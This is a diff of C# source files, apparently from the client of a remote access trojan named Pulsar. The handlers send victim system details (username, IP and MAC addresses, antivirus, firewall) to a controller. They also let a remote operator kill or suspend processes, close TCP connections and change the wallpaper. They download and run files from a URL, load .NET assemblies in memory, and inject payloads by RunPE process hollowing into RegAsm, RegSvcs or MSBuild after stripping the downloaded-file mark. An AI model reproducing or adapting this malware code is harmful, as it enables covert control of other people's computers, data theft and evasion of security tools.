new Tuple<string, string>("Processor (CPU)", HardwareDevices.CpuName),
new Tuple<string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
new Tuple<string, string>("Video Card (GPU)", HardwareDevices.GpuNames),
new Tuple<string, string>("Username", userAccount.UserName),
new Tuple<string, string>("PC Name", SystemHelper.GetPcName()),
new Tuple<string, string>("Domain Name", domainName),
new Tuple<string, string>("Host Name", hostName),
new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
new Tuple<string, string>("System Directory", Environment.SystemDirectory),
new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
new Tuple<string, string>("MAC Address", HardwareDevices.MacAddress),
new Tuple<string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
new Tuple<string, string>("ASN", geoInfo.Asn),
new Tuple<string, string>("ISP", geoInfo.Isp),
new Tuple<string, string>("Antivirus", SystemHelper.GetAntivirus()),
new Tuple<string, string>("Firewall", SystemHelper.GetFirewall()),
new Tuple<string, string>("Time Zone", geoInfo.Timezone),
new Tuple<string, string>("Country", geoInfo.Country),
new Tuple<string, string>("Default Browser", defaultBrowser)
};
client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos });
}
catch
{
}
}
}
}
@@ -0,0 +1,440 @@
using Pulsar.Client.Networking;
using Pulsar.Client.Setup;
using Pulsar.Client.Helper;
using Pulsar.Common;
using Pulsar.Common.Enums;
using Pulsar.Common.Helpers;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Net;
using System.Reflection;
using System.Threading;
namespace Pulsar.Client.Messages
{
public class TaskManagerHandler : IMessageProcessor, IDisposable
{
private readonly PulsarClient _client;
private readonly WebClient _webClient;
public TaskManagerHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
_webClient = new WebClient { Proxy = null };
_webClient.DownloadDataCompleted += OnDownloadDataCompleted;
}
private void OnClientStateChange(Networking.Client s, bool connected)
{
if (!connected && _webClient.IsBusy) _webClient.CancelAsync();
}
public bool CanExecute(IMessage message) =>
message is GetProcesses ||
message is DoProcessStart ||
message is DoProcessEnd ||
message is DoProcessDump ||
message is DoSetTopMost ||
message is DoSuspendProcess ||
message is DoSetWindowState;
public bool CanExecuteFrom(ISender sender) => true;
private void SendStatus(string message)
{
try { _client.Send(new SetStatus { Message = message }); }
catch { }
}
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetProcesses msg: Execute(sender, msg); break;
case DoProcessStart msg: Execute(sender, msg); break;
case DoProcessEnd msg: Execute(sender, msg); break;
case DoProcessDump msg: Execute(sender, msg); break;
case DoSuspendProcess msg: Execute(sender, msg); break;
case DoSetTopMost msg: Execute(sender, msg); break;
case DoSetWindowState msg: Execute(sender, msg); break;
}
}
private void Execute(ISender client, DoProcessEnd message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc != null)
{
proc.Kill();
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true });
SendStatus($"Process PID {message.Pid} ({proc.ProcessName}) successfully terminated");
}
else
{
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
SendStatus($"Kill failed: PID {message.Pid} not found");
}
}
catch (System.ComponentModel.Win32Exception ex)
{
// Happens when user lacks privileges to terminate the process
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
SendStatus($"Kill failed for PID {message.Pid}: Access denied (admin privileges required). {ex.Message}");
}
catch (Exception ex)
{
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
SendStatus($"Kill failed for PID {message.Pid}: {ex.Message}");
}
}
// ---------------------- WINDOW HANDLERS ----------------------
private void Execute(ISender client, DoSuspendProcess message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc != null)
{
if (message.Suspend)
Utilities.NativeMethods.NtSuspendProcess(proc.Handle);
else
Utilities.NativeMethods.NtResumeProcess(proc.Handle); // <--- process-level resume
client.Send(new DoProcessResponse
{
Action = ProcessAction.Suspend,
Result = true
});
SendStatus($"Process PID {message.Pid} {(message.Suspend ? "suspended" : "resumed")}");
}
else
{
client.Send(new DoProcessResponse
{
Action = ProcessAction.Suspend,
Result = false
});
SendStatus($"Process PID {message.Pid} not found");
}
}
catch
{
client.Send(new DoProcessResponse
{
Action = ProcessAction.Suspend,
Result = false
});
SendStatus($"Failed to {(message.Suspend ? "suspend" : "resume")} PID {message.Pid}");
}
}
private void Execute(ISender client, DoSetWindowState message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc == null || proc.MainWindowHandle == IntPtr.Zero)
{
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false });
SendStatus($"SetWindowState failed: PID {message.Pid} not found or has no main window");
return;
}
int nCmd = message.Minimize ? 6 : 9;
bool result = Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, nCmd);
if (result)
SendStatus($"Window {(message.Minimize ? "minimized" : "restored")} for PID {message.Pid}");
else
SendStatus($"SetWindowState failed for PID {message.Pid}: Access denied or higher privilege required");
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = result });
}
catch (Exception ex)
{
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false });
SendStatus($"SetWindowState failed for PID {message.Pid}: {ex.Message}");
}
}
private void Execute(ISender client, DoSetTopMost message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc == null || proc.MainWindowHandle == IntPtr.Zero)
{
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false });
SendStatus($"SetTopMost failed: PID {message.Pid} not found or has no main window");
return;
}
const int HWND_TOPMOST = -1;
const int HWND_NOTOPMOST = -2;
const uint SWP_NOSIZE = 0x0001;
const uint SWP_NOMOVE = 0x0002;
const uint SWP_SHOWWINDOW = 0x0040;
Utilities.NativeMethods.SetForegroundWindow(proc.MainWindowHandle);
if (Utilities.NativeMethods.IsIconic(proc.MainWindowHandle))
Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, 9);
IntPtr hWndInsertAfter = new IntPtr(message.Enable ? HWND_TOPMOST : HWND_NOTOPMOST);
bool result = Utilities.NativeMethods.SetWindowPos(
proc.MainWindowHandle,
hWndInsertAfter,
0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW
);
if (result)
SendStatus($"TopMost {(message.Enable ? "enabled" : "disabled")} for PID {message.Pid}");
else
SendStatus($"SetTopMost failed for PID {message.Pid}: Access denied or higher privilege required");
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = result });
}
catch (Exception ex)
{
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false });
SendStatus($"SetTopMost failed for PID {message.Pid}: {ex.Message}");
}
}
// ---------------------- PROCESS HANDLERS ----------------------
private void Execute(ISender client, GetProcesses message)
{
Process[] pList = Process.GetProcesses();
var processes = new Common.Models.Process[pList.Length];
var parentMap = GetParentProcessMap();
for (int i = 0; i < pList.Length; i++)
{
processes[i] = new Common.Models.Process
{
Name = pList[i].ProcessName + ".exe",
Id = pList[i].Id,
MainWindowTitle = pList[i].MainWindowTitle,
ParentId = parentMap.TryGetValue(pList[i].Id, out var parentId) ? parentId : null
};
}
int currentPid = Process.GetCurrentProcess().Id;
client.Send(new GetProcessesResponse { Processes = processes, RatPid = currentPid });
}
private void Execute(ISender client, DoProcessStart message)
{
SendStatus($"Starting process: {message.FilePath ?? message.DownloadUrl}");
if (string.IsNullOrEmpty(message.FilePath) && (message.FileBytes == null || message.FileBytes.Length == 0))
{
if (string.IsNullOrEmpty(message.DownloadUrl))
{
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: No file path or download URL");
return;
}
try
{
if (_webClient.IsBusy) { _webClient.CancelAsync(); while (_webClient.IsBusy) Thread.Sleep(50); }
_webClient.DownloadDataAsync(new Uri(message.DownloadUrl), message);
}
catch
{
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: Download error");
}
}
else
{
ExecuteProcess(message.FileBytes, message.FilePath, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension);
}
}
private void OnDownloadDataCompleted(object sender, DownloadDataCompletedEventArgs e)
{
var message = (DoProcessStart)e.UserState;
if (e.Cancelled || e.Error != null)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: Download cancelled or error");
return;
}
ExecuteProcess(e.Result, null, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension);
}
private void ExecuteProcess(byte[] fileBytes, string filePath, bool isUpdate, bool executeInMemory, bool useRunPE, string runPETarget, string runPECustomPath, string fileExtension)
{
if (fileBytes == null && !string.IsNullOrEmpty(filePath) && File.Exists(filePath))
fileBytes = File.ReadAllBytes(filePath);
if (fileBytes == null || fileBytes.Length == 0)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: no file bytes available");
return;
}
try
{
if (useRunPE) { ExecuteViaRunPE(fileBytes, runPETarget, runPECustomPath); return; }
if (executeInMemory) { ExecuteViaInMemoryDotNet(fileBytes); return; }
ExecuteViaTemporaryFile(fileBytes, fileExtension);
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($"Process start failed: {ex.Message}");
}
}
private void ExecuteViaRunPE(byte[] fileBytes, string runPETarget, string runPECustomPath)
{
new Thread(() =>
{
try
{
bool result = Helper.RunPE.Execute(GetRunPEHostPath(runPETarget, runPECustomPath, IsPayload64Bit(fileBytes)), fileBytes);
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = result });
SendStatus($"RunPE execution {(result ? "succeeded" : "failed")}");
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($"RunPE failed: {ex.Message}");
}
}).Start();
}
private void ExecuteViaInMemoryDotNet(byte[] fileBytes)
{
new Thread(() =>
{
try
{
Assembly asm = Assembly.Load(fileBytes);
MethodInfo entry = asm.EntryPoint;
if (entry != null)
entry.Invoke(null, entry.GetParameters().Length == 0 ? null : new object[] { new string[0] });
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
SendStatus(".NET in-memory execution succeeded");
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($".NET in-memory execution failed: {ex.Message}");
}
}).Start();
}
private void ExecuteViaTemporaryFile(byte[] fileBytes, string fileExtension)
{
try
{
string tempPath = FileHelper.GetTempFilePath(fileExtension ?? ".exe");
File.WriteAllBytes(tempPath, fileBytes);
FileHelper.DeleteZoneIdentifier(tempPath);
Process.Start(new ProcessStartInfo { UseShellExecute = true, FileName = tempPath });
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
SendStatus("Process executed via temporary file");
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($"Temporary file execution failed: {ex.Message}");
}
}
private Dictionary<int, int?> GetParentProcessMap()
{
var map = new Dictionary<int, int?>();
try
{
using (var searcher = new ManagementObjectSearcher("SELECT ProcessId, ParentProcessId FROM Win32_Process"))
using (var results = searcher.Get())
{
foreach (ManagementObject obj in results)
{
int pid = Convert.ToInt32(obj["ProcessId"]);
int? parent = obj["ParentProcessId"] != null ? Convert.ToInt32(obj["ParentProcessId"]) : (int?)null;
map[pid] = parent != pid ? parent : null;
}
}
}
catch { }
return map;
}
private bool IsPayload64Bit(byte[] payload)
{
try
{
if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') return false;
int peOffset = BitConverter.ToInt32(payload, 0x3C);
return BitConverter.ToUInt16(payload, peOffset + 4) == 0x8664;
}
catch { return false; }
}
private string GetRunPEHostPath(string target, string customPath, bool is64)
{
string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
string frameworkDir = is64
? Path.Combine(winDir, "Microsoft.NET", "Framework64", "v4.0.30319")
: Path.Combine(winDir, "Microsoft.NET", "Framework", "v4.0.30319");
if (!Directory.Exists(frameworkDir))
frameworkDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory();
switch (target)
{
case "a":
return Path.Combine(frameworkDir, "RegAsm.exe");
case "b":
return Path.Combine(frameworkDir, "RegSvcs.exe");
case "c":
return Path.Combine(frameworkDir, "MSBuild.exe");
case "d":
return customPath;
default:
return Path.Combine(frameworkDir, "RegAsm.exe");
}
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_client.ClientState -= OnClientStateChange;
_webClient.DownloadDataCompleted -= OnDownloadDataCompleted;
_webClient.CancelAsync();
_webClient.Dispose();
}
}
}
}
@@ -0,0 +1,119 @@
using Pulsar.Client.Utilities;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TCPConnections;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Messages
{
public class TcpConnectionsHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetConnections ||
message is DoCloseConnection;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetConnections msg:
Execute(sender, msg);
break;
case DoCloseConnection msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetConnections message)
{
var table = GetTable();
var connections = new TcpConnection[table.Length];
for (int i = 0; i < table.Length; i++)
{
string processName;
try
{
var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid);
processName = p.ProcessName;
}
catch
{
processName = $"PID: {table[i].owningPid}";
}
connections[i] = new TcpConnection
{
ProcessName = processName,
LocalAddress = table[i].LocalAddress.ToString(),
LocalPort = table[i].LocalPort,
RemoteAddress = table[i].RemoteAddress.ToString(),
RemotePort = table[i].RemotePort,
State = (ConnectionState)table[i].state
};
}
client.Send(new GetConnectionsResponse { Connections = connections });
}
private void Execute(ISender client, DoCloseConnection message)
{
var table = GetTable();
for (var i = 0; i < table.Length; i++)
{
//search for connection
if (message.LocalAddress == table[i].LocalAddress.ToString() &&
message.LocalPort == table[i].LocalPort &&
message.RemoteAddress == table[i].RemoteAddress.ToString() &&
message.RemotePort == table[i].RemotePort)
{
// it will close the connection only if client run as admin
table[i].state = (byte) ConnectionState.Delete_TCB;
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
Marshal.StructureToPtr(table[i], ptr, false);
NativeMethods.SetTcpEntry(ptr);
Execute(client, new GetConnections());
return;
}
}
}
private NativeMethods.MibTcprowOwnerPid[] GetTable()
{
NativeMethods.MibTcprowOwnerPid[] tTable;
var afInet = 2;
var buffSize = 0;
// retrieve correct pTcpTable size
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
var buffTable = Marshal.AllocHGlobal(buffSize);
try
{
var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
if (ret != 0)
return null;
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries));
tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries];
for (var i = 0; i < tab.dwNumEntries; i++)
{
var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid));
tTable[i] = tcpRow;
rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow));
}
}
finally
{
Marshal.FreeHGlobal(buffTable);
}
return tTable;
}
}
}
@@ -0,0 +1,42 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.FunStuff;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Client.Messages
{
public class WallpaperHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoChangeWallpaper;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoChangeWallpaper changeWallpaperMessage)
{
SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat);
}
}
private void SetWallpaper(byte[] imageData, string imageFormat)
{
string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}");
File.WriteAllBytes(tempPath, imageData);
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
}
}

Some files were not shown because too many files have changed in this diff Show More